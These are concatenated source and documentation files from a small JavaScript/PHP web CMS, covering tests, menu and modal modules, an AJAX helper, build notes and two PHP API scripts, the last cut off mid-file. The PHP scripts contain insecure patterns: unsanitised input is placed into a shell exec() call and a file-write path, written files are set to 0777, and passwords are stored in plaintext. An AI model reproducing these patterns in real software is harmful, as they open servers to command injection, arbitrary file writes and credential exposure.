expect('the META Manager header to be visible', $('.cms-meta-form')[0].length > 0);
done();
});
```
Check the translation manager pops up OK
```js
test('show the Translation manager', function(done){
cms.translationManager.showUI();
expect('the Translation manager heading to be visible', $('.cms-modal-header')[0].innerText == 'Manage Translations');
done();
});
```
Check the preview manager pops up OK
```js
test('show the Preview manager', function(done){
cms.previewManager.showUI();
expect('the Preview Manager header to be visible', $('.cms-modal-viewport').hasClass('cms-modal-viewport-previewer'));
done();
});
```
Check the preview manager iframe window can be resized
```js
test('the preview window resizes to given dimensions', function(done){
var oldHeight, height;
cms.previewManager.showUI();
/* get viewport height */
oldHeight = $('#pagePreview')[0].width;
/* resize it */
$('.cms-iframe-resizer-btn')[0].click();
/* get new height */
height = $('#pagePreview')[0].height;
expect('height of iframe #pagePreview should have changed', oldHeight !== height);
done();
});
```
check the section manager pops up OK
```js
test('the CMS shows the Section Manager', function(done){
cms.sectionManager.showUI();
assert($('.cms-modal-header')[0].innerText == 'Section Manager', 'the Section Manager should be visible');
done();
});
```
add a section to the page
```js
test('the CMS adds a section', function(done){
cms.sectionManager.showUI();
cms.sectionManager.getTemplateFromFile('_article-full-width.tmpl');
setTimeout(function asyncAssert(){
assert($('.section').length == 2, 'the CMS should have 2 sections');
done();
}, 400);
});
```
add an inline image and make sure it appears in the correct place
```js
test('the CMS adds an inline image', function(done){
mediaBtnClickHandler($('.section2 p')[0]);
expect('page added one inline-image', $('.section2 .inline-image').length === 1);
expect('inline-image is not inside paragraph', $('.section2 p .inline-image').length === 0);
expect('inline-image is inside editable-region', $('.section2 div.cms-editable-region img.inline-image').length === 1);
done();
});
```
move a section up the page
```js
test('the CMS moves a section up', function(done){
$('.cms-menu-item-icon-up')[1].click();
assert($('.section1 .article-full-width').length > 0, 'the CMS should move a section up');
done();
});
```
move a section down the page
```js
test('the CMS moves a section down', function(done){
$('.cms-menu-item-icon-down')[0].click();
assert($('.section2 .article-full-width').length > 0, 'the CMS should move a section down');
done();
});
```
delete a section
```js
test('the CMS deletes a section', function(done){
$('.cms-menu-item-icon-delete')[1].click();
assert($('body .article-full-width').length === 0, 'the CMS should delete a section');
done();
});
```
check the image manager pops up OK
```js
test('clicking images shows Image Manager', function(done){
$('.hero-center picture')[0].click();
assert($('.cms-modal-header')[0].innerText == 'Image Manager', 'images should be clickable and show Image Manager');
done();
});
```
check the video manager pops up OK
```js
test('clicking video shows Video Manager', function(done){
cms.sectionManager.showUI();
cms.sectionManager.getTemplateFromFile('_video-full-width.tmpl');
setTimeout(function asyncAssert(){
$('video')[0].click();
assert($('.cms-modal-header')[0].innerText == 'Video Manager', 'videos should be clickable and show Video Manager');
done();
}, 400);
});
/* add more tests here */
```
we have our tests, return them to test_runner.js and exit this script
```js
return tests;
```
## Examples tests below
Example tests, using assert()
```js
/* normal test */
test('1+1 equals 2', function runTest(done) {
assert(1+1 === 2, '1+1 should be 2');
done();
});
/* async test */
test('1+1 equals 2', function runTest(done) {
setTimeout(function asyncAssert(){
assert(1+1 === 2, '1+1 should be 2');
done();
}, 400);
});
```
Example tests, using expect()
```js
/* normal test */
test('1+1 = 2', function runTest(done) {
expect('1+1 to equal 2', 1+1 === 2);
done();
});
/* async test */
test('1+1 = 2', function runTest(done) {
setTimeout(function asyncExpect(){
expect('1+1 to equal 2', 1+1 === 2);
done();
}, 400);
});
})();
```
------------------------
Generated _Sat Mar 25 2017 04:40:38 GMT+0000 (GMT)_ from [Ⓢ tests.js](tests.js "View in source")
<file_sep>/src/cms/js/modules/ajaxer.js
// # ajaxer.js
// A simple AJAX module
// Store the xhr requests in an array for easier logging/debugging:
var xhr = [],
i = i || 0;
// Use strict setting
"use strict";
// Define the CommonJS module
module.exports = {
// ## Module Methods
// ### create(method, url)
// @param `method` - POST or GET
// @param `url` - the URL
create: function(method, url) {
i++;
xhr[i] = new XMLHttpRequest();
xhr[i].open(method, url, true);
/* console.log(i, xhr); */
return xhr[i];
},
// ### send(formData)
// @param `formData` - a valid [formData](https://developer.mozilla.org/en/docs/Web/API/FormData) object
send: function (formData) {
xhr[i].send(formData);
},
// ### onProgress(callback)
// @param `callback` - a callback function to execute on progress update
onProgress: function(callback){
xhr[i].upload.onprogress = function (e) {
if (e.lengthComputable) {
callback(e);
}
};
},
// ### onFinish(successCallback, errorCallback)
// @param `successCallback` - a func to execute on success
// @param `errorCallback` - a func to execute on failure
onFinish: function(successCallback, errorCallback){
xhr[i].onload = function() {
/* console.log(xhr[i]); */
if (xhr[i].status === 200) {
successCallback(xhr[i].responseText);
} else {
errorCallback(xhr[i].responseText);
}
};
},
// End of module
};
<file_sep>/build/README.md
# Releases and Packages
These scripts make it easier to create versioned releases of the
compiled output of this project (the compiled CMS app).
You should manually create a Github release to match the releases
generated by these scripts.
You must run these commands from the root directory of this repo (where `package.json` is).
Example:
```
./build/release.sh 2.1 'my message' && ./build/deploy.sh 2.1 ~/cert.pem <EMAIL>
```
NOTE: The release and deploy scripts currently build compiled packages based on the `master` branch, and only support `.deb` and `apt-get` based remote environments (Debian/Ubuntu/etc), although these things can be changed quite easily.
# The scripts
## `release.sh`
Create a new release, with the given version number - builds a `.deb`
of the compiled CMS, and also makes a new commit (of the latest CMS
build) in the `releases` branch. The `.deb` is built inside the
Vagrant VM.
##### Example Usage:
```
./build/release.sh 3.1.0 'new UI interface'
```
Requires the Vagrant VM to be running (use `vagrant up --provision`
at the command line).
Give the version number you wish to create (without a leading `v`)
and the release commit message.
Once you have run `release.sh`, you can then easily create a
downloadable Github release of the compiled app (CMS) by visiting
the [Github releases](https://github.com/sc0ttj/Project/releases) page.
For example, create version 1.2.3:
1. click 'Draft a new release'
2. add the tag `v1.2.3`, and choose the `releases` branch
3. attach the `build/Project-cms_1.2.3_all.deb` file
4. publish the release
## `deploy.sh`
This script will copy the generated `Project-cms_VER_all.deb`
package in `build/` to the given remote environment and install
it (uses `scp`, `ssh` locally, and `dpkg` and `apt-get` on the remote environment).
##### Example Usage:
```
./build/deploy.sh 1.2.3 ~/mycert.pem <EMAIL>
```
NOTE: This `deploy.sh` script currently only supports installing `.deb` files to remote servers based on Debian/Ubuntu/etc (servers with `apt-get` and `dpkg`). This should be easy enough to update.
<file_sep>/src/cms/api/save.php
<?php
ini_set('display_errors',1);
error_reporting(E_ALL);
require_once('validate_user.inc.php');
if ($_POST['savetozip'] == 'true'){
# get config for this page
# returns $page_dir ...
require_once('config.inc.php');
// save to zip
$root = $_SERVER['DOCUMENT_ROOT']; // /var/www/html
$name = basename($url_path); // /demo/ => demo
// create a zip of the page/app that run this script
// do not include the cms dir or the editable index file
// rename the preview.html file to index.html
exec("cd $root; tar -zcvf downloads/$name.tar.gz --exclude='.htaccess' --exclude='$name/vocabs' --exclude='*.php' --exclude='$name/cms' --exclude='$name/test' --exclude='$name/*.map' --exclude='$name/index.html' --exclude='$name/templates' --transform='flags=r;s|preview.html|index.html|' $name");
// we now have a bundled version of the page, excluding the CMS, in "page-name.tar.gz"
echo "/downloads/$name.tar.gz";
}
?><file_sep>/docs/cms/js/modules/export_manager.js.md
# export_manager.js
This CMS module parses then saves the current page HTML
to .html files, and saves the current dir to a .tar.gz file.
## Begin script
Get dependencies
```js
var $ = require('cash-dom'); /* jQuery alternative */
```
Create a self reference
```js
var self;
```
Use strict setting
```js
"use strict";
```
Define CommonJS module
```js
module.exports = {
```
## Module Methods
### init()
```js
init: function(){
/* make this module available globally as cms.exportManager */
self = cms.exportManager;
return true // if we loaded ok
},
```
### savePage()
Hide the CMS menu, get the current page HTML,
clean up the HTML (remove the CMS from the html),
then save the cleaned HTML to a .html file.
```js
savePage: function(){
cms.ui.hideMenu();
var html = self.getPageHTMLWithoutCMS();
html = self.addDocType(html);
self.saveHtmlToFile(html, self.saveToZip);
},
```
### getPageHTMLWithoutCMS()
Get the page HTML as a string, remove all CMS elems and classes,
remove excess whitespace, then reset the HTML to its default, onload settings.
@return string - returns the cleaned HTML as a string
```js
getPageHTMLWithoutCMS: function () {
var cleanHTML = '',
$html = $('html').clone(); /* get page html */
/* remove all editable items that are empty */
cms.config.editableItems.forEach(function (el) {
$html.find(el+':empty').remove();
});
/* remove all CMS related elems */
$html.find('.cms-menu-container, .cms-menu, .cms-menu-bg, .cms-modal, .cms-media-btn, .cms-menu-btn, .g-options-container, .cms-script').remove();
/* remove all CMS related classes and attributes */
$html.find('*').removeClass('cms-html5 cms-editable cms-editable-img cms-editable-region cms-inline-media');
$html.find('*').removeAttr('contenteditable');
$html.find('*').removeAttr('spellcheck');
$html.find('*').removeAttr('style');
/* chrome bug workaround - remove needless <span>s from <p>s, then select spans to unwrap,
* source: https://plainjs.com/javascript/manipulation/unwrap-a-dom-element-35/
*/
$html.find('p[contenteditable] span:not([class="stat-text-highlight"])').each(function unwrapSpan(span){
var parent = span.parentNode;
while (span.firstChild) parent.insertBefore(span.firstChild, span);
/* console.log(span, parent); */
parent.removeChild(span);
});
$html.find('span:empty').remove();
/* remove cms scripts */
$html.find('script[src^="cms"], #cms-init, link[href^="cms"], .cms-script').remove();
$html.find('*[class=""]').removeAttr('class');
/* reset app templates so they work on pages with no js */
$html.find('*').removeClass(cms.config.mustardClass);
$html.find('.scrollmation-text-js').removeClass('full-height');
$html.find('*').removeClass('anim-fade-1s transparent scrollmation-text-js scrollmation-image-container-top scrollmation-image-container-fixed scrollmation-image-container-bottom');
$html.find('.scrollmation-text').addClass('article');
$html.find('.video-overlay').removeClass('hidden');
$html.find('.video-overlay-button').html('▶');
/* get cleaned html */
cleanHTML = $html.html();
cleanHTML = self.cleanupWhitespace(cleanHTML);
return cleanHTML;
},
```
### addDocType()
Wraps the given html string in a `<html>` tag with DOCTYPE
@param `html` - the html string to add the doctype to
@return `string` - the full html, including html5 doctype
```js
addDocType: function (html) {
var lang = cms.vocabEditor.getCurrentService() || 'en';
return '<!DOCTYPE html>\n<html lang="'+lang+'">\n' + html + '</html>';
},
```
### cleanupWhitespace()
Clean up the spaces, tabs and excess newlines from the given string
@param `string` - the string to clean
@return `string` - the cleaned up string
```js
cleanupWhitespace: function(string){
string = string.replace(/ /g, ' ');
string = string.replace(/ /g, '');
string = string.replace(/ \n/g, '\n');
string = string.replace(/\n\n/g, '');
return string;
},
```
### saveHtmlToFile()
@param `html` - string of html to save to file
@param `callback` - the func to exec on save file success
```js
saveHtmlToFile: function(html, callback) {
var data = new FormData();
data.append('html', html);
cms.ajax.create('POST', cms.config.api.preview);
var successHandler = function (responseText) {
console.log(responseText);
callback();
};
var errorHandler = function (responseText) {
console.log(responseText);
};
cms.ajax.onFinish(successHandler, errorHandler);
cms.ajax.send(data);
},
```
### saveTranslatedHTML()
save a translated version of the current page.
Will save to index.LANG.html, where LANG is the current language
@param `html` - string of html to save to file
```js
saveTranslatedHTML: function(html){
var data = new FormData(),
filename = 'index.' + cms.vocabEditor.getCurrentService();
html = self.addDocType(html);
html = self.cleanupWhitespace(html);
data.append('html', html);
data.append('lang', filename);
data.append('save_translation', true);
cms.ajax.create('POST', cms.config.api.translate);
cms.ajax.onFinish(
function success (responseText) {
console.log(responseText);
/* translated html saved as index.LANG.html
* now preview the translated file we just created
* then reload the vocab editor on preview exit */
cms.previewManager.showUI(cms.vocabEditor.init);
},
function error (responseText) {
console.log(responseText);
}
);
cms.ajax.send(data);
},
```
### saveToZip()
Save the current directory to a tar.gz file.
```js
saveToZip: function () {
var data = new FormData();
data.append('savetozip', 'true');
cms.ajax.create('POST', cms.config.api.save);
var successHandler = function (responseText) {
console.log(responseText);
window.location = responseText;
};
var errorHandler = function (responseText) {
console.log(responseText);
};
cms.ajax.onFinish(successHandler, errorHandler);
cms.ajax.send(data);
}
```
End of module
```js
};
```
------------------------
Generated _Sat Mar 25 2017 03:19:45 GMT+0000 (GMT)_ from [Ⓢ export_manager.js](export_manager.js "View in source")
<file_sep>/setup-host-osx-env.sh
#!/bin/bash
set -a
WORKDIR="`pwd`"
# log errors to stdout
build_error() {
echo
echo "Error: $1"
echo "Check ${HOME}/Downloads to see downloaded programs."
echo "Check $WORKDIR to see downloaded project"
exit 1
}
cd $HOME
# To do: actual installation of stuff
# - install curl, brew, etc
# - then install stuff below
# for now, tell user what to install
echo "Install SUBLIME 3"
echo "Install VAGRANT"
echo "Install VBOX"
echo "Install CHROME"
echo "Install GIT"
echo "Install NodeJS "
echo "Install NPM"
exit 0
<file_sep>/src/cms/js/modules/modal.js
// # modal.js
// This module provides a popup modal dialog box. The main contents of
// the modal can be set using the `create()` method.
// Let's start.. Get our dependencies:
var $ = require('cash-dom'); /* jquery alternative */
// Create a persistent self reference to use across all module mthods
var self;
// Use strict setting
"use strict";
// Define the CommonJS module
module.exports = {
// ## Module Methods
// ### init()
init: function(){
self = this; /* consistent self reference */
},
// ### create()
// Creates the modal window, sets its contents, based on the `data' param it
// is given
//
// @param `data` - Object, with keys `title` (string), `contents` (string) and optionally `callback` (function)
/* Example data object
* {
* title: 'Edit Meta Info',
* contents: form,
* callback: someFunc
* }
*/
create: function (data) {
var html = self.getHtml(data),
callback = data.callback;
/* save our modal contents html */
self.html = html;
/* add the HTML to page, update its contents */
self.addToPage();
self.setContents(data.contents);
/* now set a callback to run on exit, if one was given */
self.callback = '';
if (typeof callback === 'function') {
self.callback = callback;
}
},
// ### getHtml()
//
// @param `data` - Object containing values for the {{things}} in
// getTemplate() HTML
// @return `html` - a string of HTML
getHtml: function (data) {
var html = '',
template = self.getTemplate();
/* use our templater to combine the json and template into html output */
html = cms.templater.renderTemplate(template, data);
return html;
},
// ### getTemplate()
// Returns the HTML of the modal dialog itself
getTemplate: function () {
return '\
<div class="cms-modal cms-anim-fade-250ms cms-transparent cms-hidden">\n\
<div class="cms-modal-header-container">\n\
<button class="cms-modal-back-btn">Back</button>\n\
<h3 class="cms-modal-header">{{title}}</h3>\n\
</div>\n\
<div class="cms-modal-viewport"></div>\n\
</div>';
},
// ### addToPage()
// Adds the modal HTML to the page (index.html).
addToPage: function () {
$('body').append(self.html);
},
// ### setContents()
// Update the main contents of the modal window.
setContents: function (html) {
var $modalViewport = $('.cms-modal-viewport');
if ($modalViewport) $modalViewport.html(html);
},
// ### show()
// Show the modal and make it ready to use.
show: function () {
var modal = $('.cms-modal'),
backBtn = $('.cms-modal-back-btn');
/* Save page HTL to local storage, show the modal, add event handlers */
cms.saveProgress();
$('body').addClass('cms-noscroll');
modal.removeClass('cms-transparent cms-disabled cms-hidden');
backBtn.on('click', self.backBtnClickHandler);
},
// ### backBtnClickHandler()
// executes the callback defined in `create()` when back button is clicked
// (when modal is closed).
backBtnClickHandler: function (e) {
self.hide();
if (typeof self.callback === 'function') self.callback();
},
// ### hide()
// hide the modal, remove event handlers.
hide: function () {
var modal = $('.cms-modal'),
backBtn = $('.cms-modal-back-btn');
$('body').removeClass('cms-noscroll');
modal.addClass('cms-transparent cms-disabled cms-hidden');
backBtn.off('click', self.hide);
self.remove();
cms.saveProgress();
},
// ### remove()
// Remove the modal HTML from the page (index.html) entirely.
remove: function () {
$('.cms-modal').remove();
},
// End of module
};
<file_sep>/docs/cms/js/modules/ui.js.md
# ui.js
The module provides the main CMS menu. It has buttons for editing the page
sections, meta info, translations and more.
Let's start. Get our dependencies
```js
var $ = require('cash-dom'); // like jquery
```
Create a persistent self reference
```js
var self;
```
Use strict setting
```js
"use strict";
```
Define the CommonJS module
```js
module.exports = {
```
## Module Methods
### init()
On init, make `self` available as reference to this module in all methods,
then run addUI() to add the menu button to the page.
```js
init: function(){
self = this;
self.addUI();
return true // if we loaded ok
},
```
### addUI()
Define the menu and menu button HTML, then add them to the page. The menu
will be hidden by default.
```js
addUI: function(){
var menu = this.getMenuHtml(),
menuBtn = '<button class="cms-menu-btn cms-unselectable clear">☰</button>';
$('body').append('<div class="cms-menu-container">' + menu + '</div>');
$('body').append(menuBtn);
self.getUIComponents(); // register all menu elements as cashJS objects
self.setUIEventHandlers(); // now assign event handlers to them
},
```
### getUIComponents()
Get all the menu elements as cashJS objects and bind them to this module as
properties which can be accessed across this module.
```js
getUIComponents: function () {
self.$menu = $('.cms-menu');
self.$menuBg = $('.cms-menu-bg');
self.$menuBtn = $('.cms-menu-btn');
self.$menuItems = $('.cms-menu-item');
self.$menuItemUp = $('.cms-menu-item-icon-up');
self.$menuItemDown = $('.cms-menu-item-icon-down');
self.$menuItemDelete = $('.cms-menu-item-icon-delete');
self.$menuBtnSave = $('.cms-menu-item-save');
self.$menuBtnPreview = $('.cms-menu-item-preview');
self.$menuBtnAddSection = $('.cms-menu-item-add-section');
self.$menuBtnMeta = $('.cms-menu-item-meta');
self.$menuBtnFiles = $('.cms-menu-item-files');
self.$menuBtnLogout = $('.cms-menu-item-logout');
self.$menuBtnTranslations = $('.cms-menu-item-translations');
},
```
### setUIEventHandlers()
Define which functions to execute when clicking the various menu items
```js
setUIEventHandlers: function () {
self.$menuBg.on('click', self.menuBgClickHandler);
self.$menuBtn.on('click', self.menuBtnClickHandler);
self.$menuItemUp.on('click', self.menuItemUpClickHandler);
self.$menuItemDown.on('click', self.menuItemDownClickHandler);
self.$menuItemDelete.on('click', self.menuItemDeleteClickHandler);
self.$menuBtnPreview.on('click', self.menuBtnPreviewClickHandler);
self.$menuBtnSave.on('click', self.menuBtnSaveClickHandler);
self.$menuBtnAddSection.on('click', self.menuBtnAddSectionClickHandler);
self.$menuBtnMeta.on('click', self.menuBtnMetaClickHandler);
self.$menuBtnFiles.on('click', self.menuBtnFilesClickHandler);
self.$menuBtnLogout.on('click', self.menuBtnLogoutClickHandler);
self.$menuBtnTranslations.on('click', self.menuBtnTranslationsClickHandler);
},
```
### setUIEventHandlersOff()
Unregister all the event handlers - useful if rebuilding the menu
```js
setUIEventHandlersOff: function () {
self.$menuBg.off('click', self.menuBgClickHandler);
self.$menuBtn.off('click', self.menuBtnClickHandler);
self.$menuItemUp.off('click', self.menuItemUpClickHandler);
self.$menuItemDown.off('click', self.menuItemDownClickHandler);
self.$menuItemDelete.off('click', self.menuItemDeleteClickHandler);
self.$menuBtnPreview.off('click', self.menuBtnPreviewClickHandler);
self.$menuBtnSave.off('click', self.menuBtnSaveClickHandler);
self.$menuBtnAddSection.off('click', self.menuBtnAddSectionClickHandler);
self.$menuBtnMeta.off('click', self.menuBtnMetaClickHandler);
self.$menuBtnFiles.off('click', self.menuBtnFilesClickHandler);
self.$menuBtnLogout.off('click', self.menuBtnLogoutClickHandler);
self.$menuBtnTranslations.off('click', self.menuBtnTranslationsClickHandler);
},
```
### getMenuHtml()
Returns the CMS menu as a string of HTML.
@return `menu` - string, the menu HTML
```js
getMenuHtml: function () {
var menu = '\
<div class="cms-menu-bg cms-ui-hidden"></div>\
<ul class="cms-menu cms-ui-hidden">\
<li class="cms-menu-top"></li>\
<li \
class="cms-menu-item cms-menu-item-logout">\
<span class="cms-menu-item-text">Logout</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-logout cms-anim-fade-250ms cms-unselectable">↳</span>\
</li>\
<li \
class="cms-menu-item cms-menu-item-files">\
<span class="cms-menu-item-text">File Manager</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-files cms-anim-fade-250ms cms-unselectable">📂</span>\
</li>\
<li \
class="cms-menu-item cms-menu-item-meta">\
<span class="cms-menu-item-text">Meta Info</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-meta cms-anim-fade-250ms cms-unselectable">📝</span>\
</li>\
<li \
class="cms-menu-item cms-menu-item-preview">\
<span class="cms-menu-item-text">Preview</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-preview cms-anim-fade-250ms cms-unselectable">👁</span>\
</li>\
<li \
class="cms-menu-item cms-menu-item-translations">\
<span class="cms-menu-item-text">Translations</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-translations cms-anim-fade-250ms cms-unselectable">🌎</span>\
</li>\
<li \
class="cms-menu-item cms-menu-item-save">\
<span class="cms-menu-item-text">Save to zip</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-save cms-anim-fade-250ms cms-unselectable">💾</span>\
</li>\
<li id="menu-header-sections" class="cms-menu-header cms-menu-header-sections">\
<span class="cms-menu-item-text">Sections:</span>\
</li>\
<li id="menu-item-add-section" class="cms-menu-header cms-menu-item-add-section cms-unselectable">\
Add Section +\
</li>';
menu += self.getSectionsAsMenuItems();
menu += '</ul>';
return menu;
},
```
### getSectionsAsMenuItems()
Create a menu item for each section on the (index.html) page and
returns these items as a string of HTML.
@return `menuItems` - string, the HTML of the menu buttons for each section.
```js
getSectionsAsMenuItems: function () {
var menuItems = '',
$sections = self.getSections();
$sections.each(function addSectionToMenu(elem, i){
var sectionName = $sections.children()[i].getAttribute('data-name') || 'section'+(i+1),
sectionDesc = $(elem).children().find('[contenteditable]:not(:empty)')[0];
if (sectionDesc) {
sectionDesc = sectionDesc.innerText.substring(0, 100);
} else {
sectionDesc = '...';
}
menuItems += '\
<li \
id="menu-item-'+(i+1)+'" \
class="cms-menu-item cms-menu-section-item">\
<span class="cms-menu-item-text"><a href="#section'+(i+1)+'">'+sectionName+'</a></span>\
<p class="cms-menu-section-item-desc">'+sectionDesc+'</p>\
<span class="cms-menu-item-icon cms-menu-item-icon-up cms-anim-fade-250ms cms-unselectable">ᐃ</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-down cms-anim-fade-250ms cms-unselectable">ᐁ</span>\
<span class="cms-menu-item-icon cms-menu-item-icon-delete cms-anim-fade-250ms cms-unselectable">ⅹ</span>\
</li>';
});
return menuItems;
},
```
### getSections()
Get all page sections (reads index.html) and returns as an HTML Collection
@return `sections` - an HTML COllection of the sections currently on the page
```js
getSections: function () {
var sections = $(cms.config.sectionSelector);
return sections;
},
```
### menuBgClickHandler()
On clicking the menu background, hide the CMS menu
```js
menuBgClickHandler: function (e) {
self.hideMenu();
},
```
### menuBtnClickHandler()
On clicking the menu button, hide or show the CMS menu
```js
menuBtnClickHandler: function (e) {
self.toggleMenu();
},
```
### menuItemUpClickHandler()
Moves a section up the page and moves the related menu item up the menu.
```js
menuItemUpClickHandler: function (e) {
var $this = $(this.parentNode),
$prev = $($this).prev(),
index = $this.attr('id').replace('menu-item-', '');
if ($this.attr('id') !== 'menu-item-1'){
$this.after($prev);
self.reIndexMenuItems();
cms.sectionManager.moveSectionUp(index);
cms.sectionManager.reIndexSections();
}
},
```
### menuItemDownClickHandler()
Moves a section down the page and moves the related menu item down the menu.
```js
menuItemDownClickHandler: function (e) {
var $this = $(this.parentNode),
$next = $($this).next(),
index = $this.attr('id').replace('menu-item-', '');
$next.after($this);
self.reIndexMenuItems();
cms.sectionManager.moveSectionDown(index);
cms.sectionManager.reIndexSections();
},
```
### menuItemDeleteClickHandler()
Deletes the chosen section from the page and menu.
```js
menuItemDeleteClickHandler: function (e) {
var $this = $(this.parentNode),
index = $this.attr('id').replace('menu-item-', '');
$this.remove();
self.reIndexMenuItems();
cms.sectionManager.removeSection(index);
cms.sectionManager.reIndexSections();
},
```
### menuBtnSaveClickHandler()
Process and save the contents of the current folder to a .tar.gz file.
This method is used to exprt the page created as a bundled, self-contained
archive file.
```js
menuBtnSaveClickHandler: function (e) {
cms.exportManager.savePage();
},
```
### menuBtnPreviewClickHandler()
Show the Preview Manager, which displays preview.html (or index.LANG.html)
in a resizable iframe.
```js
menuBtnPreviewClickHandler: function (e) {
cms.previewManager.previewPage();
},
```
### menuBtnAddSectionClickHandler()
Show the Section Manager, which lets users add new sections to the page.
```js
menuBtnAddSectionClickHandler: function (e) {
cms.sectionManager.showUI();
},
```
### menuBtnMetaClickHandler()
Show the META Manager - lets users edit the meta info of the page.
```js
menuBtnMetaClickHandler: function (e) {
cms.metaManager.showUI();
},
```
### menuBtnFilesClickHandler()
show the file manager - lets users edit, rename, add, remove files from
the current directory.
```js
menuBtnFilesClickHandler: function (e) {
cms.fileManager.showUI();
},
```
### menuBtnLogoutClickHandler()
Will logout the user out and redirect them to the login page. They will
need to be logged in to edit the page.
```js
menuBtnLogoutClickHandler: function (e) {
window.location.href = cms.config.api.logout;
},
```
### menuBtnTranslationsClickHandler()
show the Translation Manager - where users can create translated versions
of their page.
```js
menuBtnTranslationsClickHandler: function () {
/* hide the CMS menu */
cms.ui.hideMenu();
/* the translation manager needs preview.html to exist, so let's
* create it, to be safe - get the latest page HTML as a string */
var html = cms.exportManager.getPageHTMLWithoutCMS();
/* make it a string containing a proper HTML doc */
html = cms.exportManager.addDocType(html);
/* save the HTML to preview.html, then
* load up the Translation Manager */
cms.exportManager.saveHtmlToFile(html, cms.translationManager.showUI);
},
```
### reIndexMenuItems()
Fix the index numbers of the menu items (needed after moving items up or down)
```js
reIndexMenuItems: function (){
$('.cms-menu-section-item').each(function(el, i){
var $el = $(el);
$el.attr('id', 'menu-item-'+(i+1));
$el.find('a').attr('href', '#section'+(i+1));
});
},
```
### toggleMenu()
Hides or shows the CMS menu.
```js
toggleMenu: function(){
if (self.$menu.hasClass('cms-ui-hidden')){
self.showMenu();
} else {
self.hideMenu();
}
},
```
### showMenu()
Save the page to localStorage, then update the menu contents, then
add the classes needed to show the menu.
```js
showMenu: function(){
cms.saveProgress();
self.updateUI();
$('.cms-menu, .cms-menu-bg').addClass('cms-anim-fade-250ms ');
self.$menu.removeClass('cms-ui-hidden');
self.$menuBg.removeClass('cms-ui-hidden');
self.$menuBtn.addClass('cms-menu-btn-on');
$('body').addClass('cms-noscroll');
},
```
### updateUI()
Get the latest menu HTML, remove event handlers from the existing menu
items, then replace the menu HTML then re-index them and, finally,
re-register the menu items with their event handlers.
```js
updateUI: function () {
var menu = this.getMenuHtml();
self.setUIEventHandlersOff();
$('.cms-menu-container').html(menu);
self.reIndexMenuItems();
self.getUIComponents();
self.setUIEventHandlers();
},
```
### hideMenu()
Hides the CMS meu, saves the latest pag eHTML to localStorage.
```js
hideMenu: function(){
$('body').removeClass('cms-noscroll');
self.$menu.addClass('cms-ui-hidden');
self.$menuBg.addClass('cms-ui-hidden');
self.$menuBtn.removeClass('cms-menu-btn-on');
cms.saveProgress();
},
```
End of module
```js
};
```
------------------------
Generated _Mon Mar 27 2017 19:30:43 GMT+0100 (BST)_ from [Ⓢ ui.js](ui.js "View in source")
<file_sep>/src/test/js/test_runner.js
// # Test Runner
//
// This test runner is included in [_cms_script.tmpl](https://github.com/sc0ttj/Project/blob/master/src/app/templates/_cms-script.tmpl) if the CMS
// was (re)built using `npm test` or `npm start`
/**
* Sources: A Javascript test runner in 20 lines of code
* From http://joakimbeng.eu01.aws.af.cm/a-javascript-test-runner-in-20-lines/
* and https://gist.github.com/joakimbeng/8f57dae814a4802e2ae6
*/
// ### Main function: testRunner()
(function testRunner() {
// We get our tests array from separate file.
// See [tests.js](https://github.com/sc0ttj/Project/blob/master/src/test/js/tests.js)
var tests = require('tests');
// #### Test Runner Methods
// for pre and post test setup/cleanup
// #### beforeAll(): before any tests have started
this.beforeAll = function () {
console.log('Running tests..');
};
// #### afterAll(): after all tests have finished
// - hide the menu and
// - remove any sections we added
// - then reload the cms menu etc
this.afterAll = function () {
cms.ui.hideMenu();
while($('.section').length > 1){
$('.section').last().remove();
}
cms.reload();
};
// #### beforeEach(): before each test
// - show test title/scenario,
// - then reset page
this.beforeEach = function (testToRun) {
if (testToRun) console.log('\nScenario: '+testToRun.name);
cms.ui.hideMenu();
};
// #### afterEach(): after each test
// - remove any CMS modals from the page
this.afterEach = function (testToRun) {
$('.cms-modal').remove();
};
// #### run(): go through tests array and run all tests:
// The main loop will run through all tests and:
// 1. run beforeAll() to setup before any tests start
// 2. run beforeEach() to create setup before each test
// 3. run current test in the queue: call the test, run it, if error, exit and print errors, else go to next test
// 4. abort if last test failed or out of tests
// 5. teardown stuff after each test
this.run = function run () {
var i = 0, testToRun;
beforeAll();
(function next (err) {
this.afterEach(testToRun);
if (err || !(testToRun = tests[i++])) return done(err);
this.beforeEach(testToRun);
try {
testToRun.test.call(testToRun.test, next);
} catch (err) {
next(err);
}
})();
// #### done(): prints the error to console or terminal
// @param err: the error produced by a try/catch
// This func will:
// - Show remaining tests as skipped,
// - print final output,
// - do clean up or teardown after all tests
function done (err) {
console.log('\n');
tests.slice(i).map(function showSkippedTest(skippedTest) { console.log('skipped:', skippedTest.name); });
console.log('\n');
console[err ? 'error' : 'log']('Tests ' + (err ? 'failed ✘: "'+err.toString().substring(7)+'"\n\n' + err.stack : 'succeeded ✔'));
this.afterAll();
}
};
})();
// All functions now defined.. We're ready..
// So let's run the test runner:
run();
<file_sep>/src/cms/api/translation.php
<?php
ini_set('display_errors',1);
error_reporting(E_ALL);
require_once('validate_user.inc.php');
$lang = 'en';
if (isset($_POST["lang"])) {
$lang = $_POST["lang"];
if (isset($_POST["save_translation"])) {
# get config for this page
# returns $page_dir, $url_path ...
require_once('config.inc.php');
// get html from $_POST, save to preview
$html = $_POST['html'];
$filename = $_SERVER['DOCUMENT_ROOT'] . $url_path . $lang . '.html';
$handle = fopen($filename,"w");
if ( fwrite($handle,$html) ){
chmod($filename, 0777); //fix with better vagrant permission in mounting of shared folder
echo "Translation $lang.html saved.";
} else {
echo "Translation $lang NOT saved.";
}
fclose($handle);
}
//
// create a passwd for $_POST['lang']
//
if (isset($_POST["enable_translation"])) {
$passwd_filename = 'passwds/' . $lang . '.php';
//
// generate random 8 letter password
//
//https://stackoverflow.com/questions/6101956/generating-a-random-password-in-php
$bytes = openssl_random_pseudo_bytes(4);
$new_passwd = bin2hex($bytes);
// should encrypt passwd here
// build passwd script for this $lang
$script = '<?php
if ( isset($_POST["get_passwd"]) ){
session_start();
# if admin not logged in
if (!isset($_SESSION["login"])){
die;
}
# CMS admin is asking for passwd over AJAX, echo it
echo "'.$new_passwd.'";
} else {
# login.php is requiring the passwd, so give it the $var
$valid_password = "'.$new_passwd.'";
}
?>';
$handle = fopen($passwd_filename,"w");
